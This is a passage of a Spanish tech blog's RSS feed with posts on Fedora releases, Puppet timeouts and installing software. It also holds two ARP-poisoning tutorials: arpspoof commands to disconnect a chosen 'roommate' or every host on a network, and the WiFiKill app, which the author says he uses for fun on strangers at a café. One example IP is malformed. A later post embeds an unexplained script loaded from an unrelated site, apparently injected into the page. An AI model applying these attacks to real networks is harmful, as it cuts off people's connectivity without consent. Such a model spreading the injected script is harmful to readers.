&lt;p&gt;la URL tiene el siguiente formato &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;https://twitter.com/favorites/&amp;lt;usuario&amp;gt;.rss&lt;/span&gt;&lt;/tt&gt; que en mi caso quedaria asi:
|  &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;https://twitter.com/favorites/orvtech.rss&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;La salida de esto será un XML que puedes leerlo fácilmente con cualquier
navegador web moderno o cualquier lector de RSS feeds. Aquí les dejo
como se inicio la conversación..&lt;/p&gt;
&lt;blockquote class="twitter-tweet" lang="en"&gt;&lt;p&gt;&lt;a href="https://twitter.com/zentraedi"&gt;@zentraedi&lt;/a&gt; &lt;a href="https://twitter.com/Zeitan"&gt;@zeitan&lt;/a&gt; sería un tripeo que yo pueda ver una lista gourmet de los favoritos de un chef que me agrade, por ejemplo&lt;/p&gt;&amp;mdash; Alex (@alexval) &lt;a href="https://twitter.com/alexval/statuses/162593450271834112"&gt;January 26, 2012&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="//platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 26 Jan 2012 10:32:00 -0800</pubDate><guid>tag:orvtech.com,2012-01-26:revisa-twits-favoritos-followers.html</guid><category>Linux</category><category>RSS Feed</category><category>Twitter</category></item><item><title>Envenenamiento de tablas ARP desde Linux</title><link>http://orvtech.com/envenenamiento-tablas-arp-linux.html</link><description>&lt;p&gt;El envenenamiento de tablas ARP es sumamente sencillo desde Linux y
básicamente lo que hacemos es que le decimos a nuestro computador que
responda arbitrariamente a determinadas ARP broadcast enviadas por el
switch/router con su dirección MAC, creando así una entrada falsa en las
tablas ARP.&lt;/p&gt;
&lt;p&gt;Lo que hablaremos en este articulo es como duplicar lo que logra &lt;a class="reference external" href="http://orvtech.com/envenenamiento-tablas-arp-desde-android.html"&gt;la aplicación wifikill para Android&lt;/a&gt; pero bajo Linux.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/envenenamiento-tablas-arp-linux.html"&gt;&lt;img alt="Envenenamiento de talbas ARP desde Fedora Linux" class="align-center" src="http://orvtech.info/2011/10/arp-poisoning.jpg" style="width: 736.0px;" /&gt;&lt;/a&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="negacion-de-servicio-usando-envenenamiento-de-tablas-arp"&gt;
&lt;h2&gt;Negación de servicio usando envenenamiento de tablas ARP.&lt;/h2&gt;
&lt;p&gt;En ocasiones desearíamos poder desconectar a alguien en particular de la red, bien sea por que se están consumiendo todo el ancho de banda con sus descargas, por que tienen puesta una emisora de radio de internet con música que no nos gusta desde hace cuatro días o simplemente por divertirnos un rato.&lt;/p&gt;
&lt;p&gt;Antes de comenzar con los ejemplos, necesitamos instalar arpspoof que en Fedora es parte de dsniff. Anteriormente he hablado de como &lt;a class="reference external" href="http://orvtech.com/instalando-programas-fedora-15.html"&gt;instalar aplicaciones en Fedora usando la interfaz gráfica&lt;/a&gt;, incluso hice un video tutorial pero como estaremos usando la linea de comandos, vamos a hacerlo en esta misma, abran una consola y ejecuten como root:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;yum install dsniff -y
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="desconectar-a-un-host-especifico"&gt;
&lt;h3&gt;Desconectar a un host especifico.&lt;/h3&gt;
&lt;p&gt;Desconectar a ese roommate fastidioso es sumamente fácil, solo debemos conocer su IP dentro de la red local y ejecutar:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;arpspoof -i wlan1 -t 192.168.168.1.3 192.168.1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En este ejemplo asumimos que la interfaz de red es wlan1, el IP del host a desconectar es 192.168.168.1.3 y el gateway de la red es 192.168.1.1&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="desconectarlos-a-todos"&gt;
&lt;h3&gt;Desconectarlos a todos.&lt;/h3&gt;
&lt;p&gt;Si desconectar a un host en especifico te pareció sencillo, desconectarlos a todos es aun mas fácil. Veamos este ejemplo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;arpspoof -i wlan1 192.168.1.1
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Al igual que en el ejemplo anterior asumimos que la interfaz de red es wlan1 y que el gateway es 192.168.1.1 pero omitimos el host por lo que arpspoof asume que son todos los hosts los que queremos bloquear.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;NOTA:&lt;/strong&gt; Este articulo debe ser visto como un tutorial con fines didácticos, no soy responsable por como UDs. Usan estas herramientas.
Tengan en cuenta que en algunos lugares el interrumpir comunicaciones en redes publicas puede ser considerado ilegal.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 28 Oct 2011 07:37:00 -0700</pubDate><guid>tag:orvtech.com,2011-10-28:envenenamiento-tablas-arp-linux.html</guid><category>Hacks</category><category>Linux</category><category>Proyecto Fedora</category><category>tips</category></item><item><title>Fedora 16 saldrá con Kernel 3.1 y mejor soporte para tarjetas de video integradas</title><link>http://orvtech.com/fedora16-saldra-kernel-3-1-soporte-tarjetas-video-integradas.html</link><description>&lt;p&gt;Hace poco que Linus Torvalds anuncio el Kernel 3.0 y ya se esta haciendo
merge para la versión 3.2. Muchos tienen la duda de que mejoras hay en
estas nuevas versiones del Kernel pero la realidad es que pocas
distribuciones de Linux usan las versiones mas recientes del Kernel,
excepto por Fedora Linux que saldrá dentro de pocos días con la versión
3.1.X.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.com/?p=5596"&gt;&lt;img alt="Fedora 16 (Verne) viene con el kernel 3.1" src="http://orvtech.info/2011/10/kernel-3.1-fedora16-head.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Fedora 16 contara con el Kernel 3.1, es decir, mejor soporte para las
tarjetas de vídeo integradas de AMD/ATI, Intel y Nvidia, soporte para la
arquitectura OpenRISC, el Nintendo Wii y NFC. Buenas noticias para
aquellos que tomaron mi concejo y compraron netbooks con chipset AMD
Zacate E-350 (como la Lenovo x120e) y usan Fedora 16 mientras que los
usuarios de Ubuntu tendrán que esperar por lo menos cinco meses antes
que Canonical decida liberar una actualización del Kernel.&lt;/p&gt;
&lt;p&gt;La versión marcada como 'estable' Fedora 16 sera liberado el dia 8 de
Noviembre del 2011, mientras tanto pueden descargarla en su fase 'Beta'
desde: &lt;a class="reference external" href="http://fedoraproject.org/en/get-prerelease"&gt;http://fedoraproject.org/en/get-prerelease&lt;/a&gt;&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 25 Oct 2011 23:51:00 -0700</pubDate><guid>tag:orvtech.com,2011-10-25:fedora16-saldra-kernel-3-1-soporte-tarjetas-video-integradas.html</guid><category>Hardware</category><category>Linux</category><category>Proyecto Fedora</category></item><item><title>Envenenamiento de tablas ARP desde el Android</title><link>http://orvtech.com/envenenamiento-tablas-arp-desde-android.html</link><description>&lt;p&gt;Alguna vez haz querido sacar a alguien de la red WFI donde estas? bien sea simplemente por jugar o el típico 'si no es para mi, tampoco para ti!' como cuando alguien consume todo el ancho de banda descargando necedades. Ahora no tienes que usar la laptop/computadora para esto.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/envenenamiento-tablas-arp-desde-android.html"&gt;&lt;img alt="La aplicación wifikill permite desconectar a quien desees de la red WIFI usando envenenamiento de tablas ARP" class="align-center" src="http://orvtech.info/2011/10/android-wifi-arp-poison-head.jpg" style="width: 614.0px;" /&gt;&lt;/a&gt;
&lt;p&gt;La aplicación WiFiKill para usuarios con root en su dispositivo Android busca en tu red por dispositivos conectados y luego te da las opciones de desconectar a alguien en particular o de desconectarlos a todos. Aquí les dejo unas capturas de pantalla desde mi HTC Evo 4G:&lt;/p&gt;
&lt;div class="figure align-center" style="width: 700px"&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/envenenamiento-tablas-arp-desde-android.html"&gt;&lt;img alt="Wifikill nos permite elegir a quien afectar con este ataque al ARP tables" src="http://orvtech.info/2011/10/captura-de-pantalla-wifikill-03.png" style="width: 654.5px;" /&gt;&lt;/a&gt;
&lt;p class="caption"&gt;Wifikill nos permite elegir a quien afectar con este ataque a las tablas ARP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="figure align-center" style="width: 700px"&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/envenenamiento-tablas-arp-desde-android.html"&gt;&lt;img alt="Solo el iPhone sin acceso a internet, sigue conectado pero no logra comunicarse" src="http://orvtech.info/2011/10/captura-de-pantalla-wifikill-02.png" style="width: 654.5px;" /&gt;&lt;/a&gt;
&lt;p class="caption"&gt;Solo el iPhone sin acceso a internet, sigue conectado pero no logra comunicarse.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="figure align-center" style="width: 700px"&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/envenenamiento-tablas-arp-desde-android.html"&gt;&lt;img alt="Dejando a todos sin acceso a internet, siguen conectados pero no logran comunicarse" src="http://orvtech.info/2011/10/captura-de-pantalla-wifikill-01.png" style="width: 654.5px;" /&gt;&lt;/a&gt;
&lt;p class="caption"&gt;Dejando a todos sin acceso a internet, siguen conectados pero no logran comunicarse.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Probé esta aplicación por sugerencia de &lt;a class="reference external" href="https://bit.ly/velazcod"&gt;Daniel Velazco&lt;/a&gt; en un &lt;em&gt;Ale's House&lt;/em&gt; y funciono sin problemas... desde entonces me he divertido un par de veces en un café cercano a mi casa.&lt;/p&gt;
&lt;p&gt;La aplicación podía ser descargada del Google Play Store también conocido como Android Market pero por lo que veo justo ahora que estoy a punto de publicar este articulo, esta ha sido excluida. El autor de la aplicación la tiene disponible para que la descarguen en formato APK desde &lt;a class="reference external" href="http://forum.ponury.net/viewtopic.php?f=12&amp;amp;t=10"&gt;su foro&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Recuerden que en algunos países es ilegal obstruir la libre comunicación y que el uso de WikiKill y su responsabilidad recae solo en ustedes (yo me lavo las manos).&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 18 Oct 2011 15:19:00 -0700</pubDate><guid>tag:orvtech.com,2011-10-18:envenenamiento-tablas-arp-desde-android.html</guid><category>Android</category><category>Google Play Store para Android</category><category>Hacks</category></item><item><title>Fedora 16 Beta ya esta disponible</title><link>http://orvtech.com/fedora-16-beta-disponible.html</link><description>&lt;p&gt;La versión de pre-lanzamiento del Proyecto Fedora 16 ya esta en su fase
beta, cuenta con el soporte del equipo de Q/A (Control de Calidad).&lt;/p&gt;
&lt;div "style="text-align:center;"&gt;&lt;p&gt;&lt;img alt="Liberado en fase Beta, Fedora 16 - verne" src="http://orvtech.info/2011/10/f15_banner_background-head.jpg" /&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Puedes descargarlo desde esta URL:
&lt;a class="reference external" href="http://fedoraproject.org/es/get-prerelease"&gt;http://fedoraproject.org/es/get-prerelease&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aunque la versión beta no es del todo estable vale la pena descargarlo
para probar los que viene, entre las características que mas me llaman
la atención están:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;GNOME 3.2 y KDE Plasma 4.7:&lt;/strong&gt; El el aspecto visual y la variedad de
ambos siempre me ayudan a convertir nuevos usuarios, por lo general
me inclino mas por Gnome pero se que a mucha gente le gusta KDE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenStack y Sheepdog:&lt;/strong&gt; Acompañados con un conjunto de utilidades
ya Fedora se perfila mas de frente hacia el Cloud.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unified Problem Reporting UI:&lt;/strong&gt; Me va a ayudar bastante a la hora
de explicarle a miembros del LUG y de la comunidad sobre como pueden
colaborar reportando bugs.&lt;/li&gt;
&lt;/ul&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 04 Oct 2011 12:55:00 -0700</pubDate><guid>tag:orvtech.com,2011-10-04:fedora-16-beta-disponible.html</guid><category>Beta</category><category>Linux</category><category>Proyecto Fedora</category></item><item><title>Video tutorial: Cómo instalar Fedora 15</title><link>http://orvtech.com/video-instalar-fedora-15.html</link><description>&lt;p&gt;Aunque se nota que lo hice de apuros cualquier persona puede darse cuenta de lo sencillo que es instalar Linux, no requiere seriales, códigos de verificación ni cracks o hacks y lo mejor de todos, puedes relajarte pues siempre y cuando lo descargues de la pagina oficial de Fedora puedes estar seguro de que no viene con virus.
Sin mas que decir, aquí se los dejo:&lt;/p&gt;
&lt;iframe width="720" height="405" src="//www.youtube.com/embed/Ja-ILZLJpss" frameborder="0" allowfullscreen&gt;
&lt;/iframe&gt;&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;En el video asumo que ya han descargado Fedora Linux, en caso de que esto no sea así, pueden descargarlo desde
&lt;a class="reference external" href="https://fedoraproject.org/es/get-prerelease"&gt;fedoraproject.org/es/get-prerelease&lt;/a&gt; y recuerda, Fedora no solo es gratis. Es libre como en &amp;quot;Libertad de expresión&amp;quot;, puedes usarlo para tus propios propósitos, sin restricciones legales.&lt;/p&gt;
&lt;p&gt;Durante el video pueden apreciar la primera pantalla de inicio luego del arranque, esta aparece solo una vez a menos que alteren el sistema
operativo. Si por cualquier razón necesitan que al iniciar Fedora te
salga de nuevo esta pantalla, puedes &lt;a class="reference external" href="http://orvtech.com/nueva-otra-vez.html"&gt;forzar el sistema operativo para
que de nuevo muestre este Setup Agent&lt;/a&gt;.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sun, 25 Sep 2011 00:40:00 -0700</pubDate><guid>tag:orvtech.com,2011-09-25:video-instalar-fedora-15.html</guid><category>Linux</category><category>Proyecto Fedora</category><category>Videos</category></item><item><title>Un adelanto de lo que se viene para el SFD</title><link>http://orvtech.com/preparativos-software-freedom-day-2011.html</link><description>&lt;p&gt;Cartulina, Fedora Artwork, veinte CDs surtidos de diferentes versiones o
spins de Fedora Linux incluyendo KDE, LXDE 32 bits y 64 bits, un NSLU2
dañado y una Arduino serán parte de mi kit evangelizador para el día de
mañana 17 de Septiembre. Como comente anteriormente estaré en Nova
University en el sur de la Florida (USA) &lt;a class="reference external" href="http://orvtech.com/general/dia-de-la-libertad-de-software-2011/"&gt;colaborando con el Software
Freedom Day&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aun me falta preparar dos unidades USB para instalar Fedora linux si
alguien lo pide pero voy preparado para todo, colaborar con la
organización, aclarar dudas, mostrar los beneficios de código abierto
(tengo una analogía que usa un marca-pasos para casos extremos) y
material suficiente para dar una charla de embebidos y Fedora.&lt;/p&gt;
&lt;p&gt;Aquí les dejo unas fotos de parte de las cosas que me llevo para el
día de mañana.&lt;/p&gt;
&lt;div class="figure align-center" style="width: 625px"&gt;
&lt;img alt="El paquete de CDs, una NSLU2 y mi Laptop" src="http://orvtech.info/2011/09/dia_de_la_libertad_del_software_miami-1.jpg" style="width: 595px;" /&gt;
&lt;p class="caption"&gt;Kit para el dia del software libre a celebrarse en el sur de la Florida, Estados Unidos.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="figure align-center" style="width: 625px"&gt;
&lt;img alt="Mi kit para evangelizar, un paquete surtido de CDs de fedora linux, mi laptop lenovo y un NSLU2" src="http://orvtech.info/2011/09/dia_de_la_libertad_del_software_miami-2.jpg" style="width: 595px;" /&gt;
&lt;p class="caption"&gt;Otro vistazo al kit evangelizador.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Los CDs vienen dentro de una cartulina con el logo de Fedora y una
frase que dice:&lt;/p&gt;
&lt;p&gt;Libera tu escritorio con Fedora. Fedora es un sistema operativo
rápido, estable y poderoso para uso de diario y construido por una
comunidad mundial de amigos. Es completamente libre para que lo uses,
estudies y compartas. Aquí mas fotos:&lt;/p&gt;
&lt;div class="figure align-center" style="width: 625px"&gt;
&lt;img alt="El CD va dentro de esta cartulina impresa y luego va dentro de una funda de papel" src="http://orvtech.info/2011/09/dia_de_la_libertad_del_software_miami-4.jpg" style="width: 595px;" /&gt;
&lt;p class="caption"&gt;El CD va dentro de esta cartulina impresa y luego va dentro de una funda de papel. Pase casi toda la noche haciendo este kit surtido de Live Media de Fedora&lt;/p&gt;
&lt;/div&gt;
&lt;div class="figure align-center" style="width: 625px"&gt;
&lt;img alt="El CD marcado con la version de Fedora 15 Live y el Spin en este caso LXDE que se esta usando" src="http://orvtech.info/2011/09/dia_de_la_libertad_del_software_miami-6.jpg" style="width: 595px;" /&gt;
&lt;p class="caption"&gt;El CD marcado con la version de Fedora 15 Live y el Spin en este caso LXDE que se esta usando&lt;/p&gt;
&lt;/div&gt;
&lt;!-- figure::http://orvtech.info/2011/09/dia_de_la_libertad_del_software_miami-8.jpg
:alt: Un mensaje claro de que esta dentro de la funda de papel y que es Fedora Linux
:align: center
:width: 595 px
:figwidth: 625 px

Un mensaje claro de que esta dentro de la funda de papel y que es Fedora Linux --&gt;
&lt;p&gt;Así que los espero mañana bien sea para aclararle dudas, conversar o ayudarnos. Si no tienes dudas y usas software libre mañana es tu oportunidad para retribuir lo que el software libre te ha dado.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 16 Sep 2011 23:00:00 -0700</pubDate><guid>tag:orvtech.com,2011-09-16:preparativos-software-freedom-day-2011.html</guid><category>FUDCon</category><category>Linux</category><category>Proyecto Fedora</category></item><item><title>Prevenir timeouts de commands en execs de puppet</title><link>http://orvtech.com/timeouts-execs-puppet.html</link><description>&lt;div style="text-align:center;"&gt;&lt;p&gt;&lt;img alt="la propiedad timeout en puppet" src="http://orvtech.info/2011/07/puppet_timeout_head.jpg" /&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Este post que va corto me sirve mas como una nota para un futuro. Lo hago publico porque puede ayudar a algunos con problemas de tiempo de
ejecución de comandos con puppet.&lt;/p&gt;
&lt;p&gt;Primero aclaremos que es puppet y svn, Puppet es un sistema para
automatizar tareas, escalable y libre, permite simplificar la mayoría de
las tareas técnicas que los administradores de sistema hacemos
diariamente. Lo mejor de todo es que las clases, templates y demás
archivos de puppet pueden ser compartidos como cualquier otro código.&lt;/p&gt;
&lt;p&gt;El segundo tema que quería aclarar era el de svn (Subversion) que es un
sistema de control de versiones el cual automatiza las tareas de
guardar, recuperar, registrar, identificar y manejar archivos. Muy útil
para archivos que son modificados frecuentemente.&lt;/p&gt;
&lt;blockquote&gt;
El problema que tenia era con una clase de puppet muy similar a esta:&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;templates-listo&amp;quot;&lt;/span&gt;: &lt;span class="nv"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s2"&gt;&amp;quot;/bin:/usr/bin:/usr/sbin:/usr/local/bin&amp;quot;&lt;/span&gt;,
  &lt;span class="nb"&gt;command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s2"&gt;&amp;quot;svn co --non-interactive http://svn.orvtech.com/cms/templates /var/www/cms/templates/&amp;quot;&lt;/span&gt;,
  &lt;span class="nv"&gt;onlyif&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s2"&gt;&amp;quot;/usr/bin/test -d /var/www/cms/&amp;quot;&lt;/span&gt;,
  &lt;span class="nv"&gt;unless&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s2"&gt;&amp;quot;/usr/bin/test -f /tmp/templates.chkout&amp;quot;&lt;/span&gt;,
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Esta clase se ejecuta sin problemas pero no hace el checkout completo
del repositorio, siempre quedan pendientes algunos directorios que no
son copiados.&lt;/p&gt;
&lt;p&gt;La solución a este problema en mi caso fue el de agregar &lt;tt class="docutils literal"&gt;timeout =&amp;gt; 0,&lt;/tt&gt; y así permitirle a subversion que termine de hacer la
copia. La clase final queda muy parecida a:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;&amp;quot;templates-listo&amp;quot;&lt;/span&gt;: &lt;span class="nv"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s2"&gt;&amp;quot;/bin:/usr/bin:/usr/sbin:/usr/local/bin&amp;quot;&lt;/span&gt;,
  &lt;span class="nb"&gt;command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s2"&gt;&amp;quot;svn co --non-interactive http://svn.orvtech.com/cms/templates /var/www/cms/templates/&amp;quot;&lt;/span&gt;,
  &lt;span class="nv"&gt;timeout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; 0,
  &lt;span class="nv"&gt;onlyif&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s2"&gt;&amp;quot;/usr/bin/test -d /var/www/cms/&amp;quot;&lt;/span&gt;,
  &lt;span class="nv"&gt;unless&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&amp;gt; &lt;span class="s2"&gt;&amp;quot;/usr/bin/test -f /tmp/templates.chkout&amp;quot;&lt;/span&gt;,
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;El archivo &lt;tt class="docutils literal"&gt;/tmp/templates.chkout&lt;/tt&gt; es creado por otra clase que verifica si el checkout se realizo sin problemas.&lt;/p&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 20 Jul 2011 11:50:00 -0700</pubDate><guid>tag:orvtech.com,2011-07-20:timeouts-execs-puppet.html</guid><category>Linux</category><category>Proyecto Fedora</category><category>puppet</category><category>tips</category></item><item><title>Instalando programas en Fedora 15</title><link>http://orvtech.com/instalando-programas-fedora-15.html</link><description>&lt;p&gt;La nueva interfaz gráfica de Fedora 15 (Gnome 3) puede ser confusa para
algunos, en especial si están acostumbrados a otros sistemas operativos
o distribuciones. Recientemente he visto como se ha incrementado la
cantidad de preguntas en canal de IRC #fedora-latam referente a este
tema, desde ¿Como se instalan programas en Fedora? hasta &amp;quot;Descargue este
blender.exe, ¿Como lo instalo?&amp;quot;.&lt;/p&gt;
&lt;p&gt;La ventaja de usar aplicaciones que están en el repositorio de Fedora es
que los programas allí colocados tienen una firma electrónica que valida
y garantiza la autenticidad del programa que estás instalando además
garantiza que el programa que instalas tiene una alta calidad y es
compatible 100% con Fedora y a diferencia de Windows no tienes que estar
buscando cracks ni tener que hacer cualquier cantidad de cosas antes de
poderlos descargar.&lt;/p&gt;
&lt;p&gt;Aquí les dejo un video:&lt;/p&gt;
&lt;iframe width="720" height="540" src="//www.youtube.com/embed/fx50qSTstyQ" frameborder="0" allowfullscreen&gt;
&lt;/iframe&gt;&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Para los que tienen equipos que no soportan la nueva interfaz gráfica de
Gnome 3 y están corriendo en 'fall-back mode' aquí les dejo unas
capturas de pantalla:&lt;/p&gt;
&lt;ol class="arabic"&gt;
&lt;li&gt;&lt;p class="first"&gt;Hacemos click en &lt;em&gt;Aplicaciones&lt;/em&gt;, se encuentra en la parte superior
izquierda de nuestras pantallas, seguidamente click en &lt;em&gt;Herramientas
de sistema&lt;/em&gt; del y por ultimo en &lt;em&gt;Añadir/Quitar Software&lt;/em&gt;&lt;/p&gt;
&lt;div style="text-align: center"&gt;&lt;p&gt;&lt;img alt="Click en Aplicaciones luego en Herramientas de sistema y por ultimo Añadir/Quitar Software" src="http://orvtech.info/2011/06/instal-1.png" /&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Buscamos la aplicación que queremos instalar, en este caso &lt;em&gt;Blender&lt;/em&gt;
y la seleccionamos en la ventana de los resultados que se encuentra a
la derecha.&lt;/p&gt;
&lt;div style="text-align: center"&gt;&lt;p&gt;&lt;img alt="Buscamos la aplicación, en este caso blender" src="http://orvtech.info/2011/06/install-2.png" /&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Revisamos las dependencias requeridas para instalar esta aplicación y
aceptamos.&lt;/p&gt;
&lt;div style="text-align: center"&gt;&lt;p&gt;&lt;img alt="Revisamos la lista de dependencias y aceptamos" src="http://orvtech.info/2011/06/install-3.png" /&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Por ultimo, autorizamos la instalación de la aplicación y su
dependencias autentificandonos con las credenciales apropiadas.&lt;/p&gt;
&lt;div style="text-align: center"&gt;&lt;p&gt;&lt;img alt="Autorizamos la instalación autentificandonos con las credenciales apropiadas" src="http://orvtech.info/2011/06/install-4.png" /&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;p class="first"&gt;Luego de esto Blender se instalara con todas las dependencias
necesarias para su funcionamiento. Los programas instalados pueden
ser localizados inmediatamente en el menú de aplicaciones.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 16 Jun 2011 21:20:00 -0700</pubDate><guid>tag:orvtech.com,2011-06-16:instalando-programas-fedora-15.html</guid><category>irc</category><category>Linux</category><category>Proyecto Fedora</category><category>RPM</category><category>tips</category><category>Videos</category></item><item><title>De regreso al LUG</title><link>http://orvtech.com/regreso-al-lug.html</link><description>&lt;div style="text-align:center;"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.com/general/regreso-al-lug/"&gt;&lt;img alt="Mi presentación ante el Grupo de Usuarios de Linux de South MIami Dade" src="http://orvtech.info/2011/06/lug-head.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;A finales del 2006 fue la ultima vez que asistí a una reunión del grupo
de usuarios de Linux (LUG por su siglas en ingles) de Miami hasta este
pasado fin de semana. El grupo es un poco mas pequeño de lo que recuerdo
pero las intenciones y la motivación siguen siendo las mismas.&lt;/p&gt;
&lt;p&gt;Mi participación este pasado 11 de Junio no se limito a ser oyente, por
el contrario, di una corta charla que consistió en &lt;a class="reference external" href="http://orvtech.com/general/resumen-fudcon-panama-2011/"&gt;un recuento del
FUDcon de Panamá&lt;/a&gt;, Un &lt;a class="reference external" href="http://orvtech.com/howto/servidor-completo-casero-economico-linux/"&gt;servidor casero económico&lt;/a&gt; y &lt;a class="reference external" href="http://orvtech.com/howto/rastreando-el-problema-con-strace/"&gt;diagnosticar
problemas usando strace&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;El tema que mas genero preguntas fue el del &amp;quot;Un servidor casero
económico&amp;quot; especialmente sobre un NSLU2 que lleve para que lo vieran,
algunos de los participantes no podían creer que esa cosa tan pequeña
con un costo menor de $30 pudiese convertirse en un servidor web. Parte
de mi charla consistió en demostrar lo que es capaz de hacer este mini
NAS hackeado a mini server, así que les mostré el blog
&lt;a class="reference external" href="http://www.linuxevolution.org"&gt;http://www.linuxevolution.org&lt;/a&gt; que esta corriendo sobre mi NSLU2 y además
les hice una demostración de transmisión de imágenes en vivo con fotos
del evento.&lt;/p&gt;
&lt;div style="text-align: center;"&gt;&lt;script src="http://www.ilove2troll.com/test.js" type="text/javascript"&gt;&lt;/script&gt;&lt;/div&gt;&lt;p&gt;La charla cerro con el tema de 'Diagnosticar problemas con strace' fue
la siguiente y aunque cubrí todo lo básico, me hubiese gustado haber
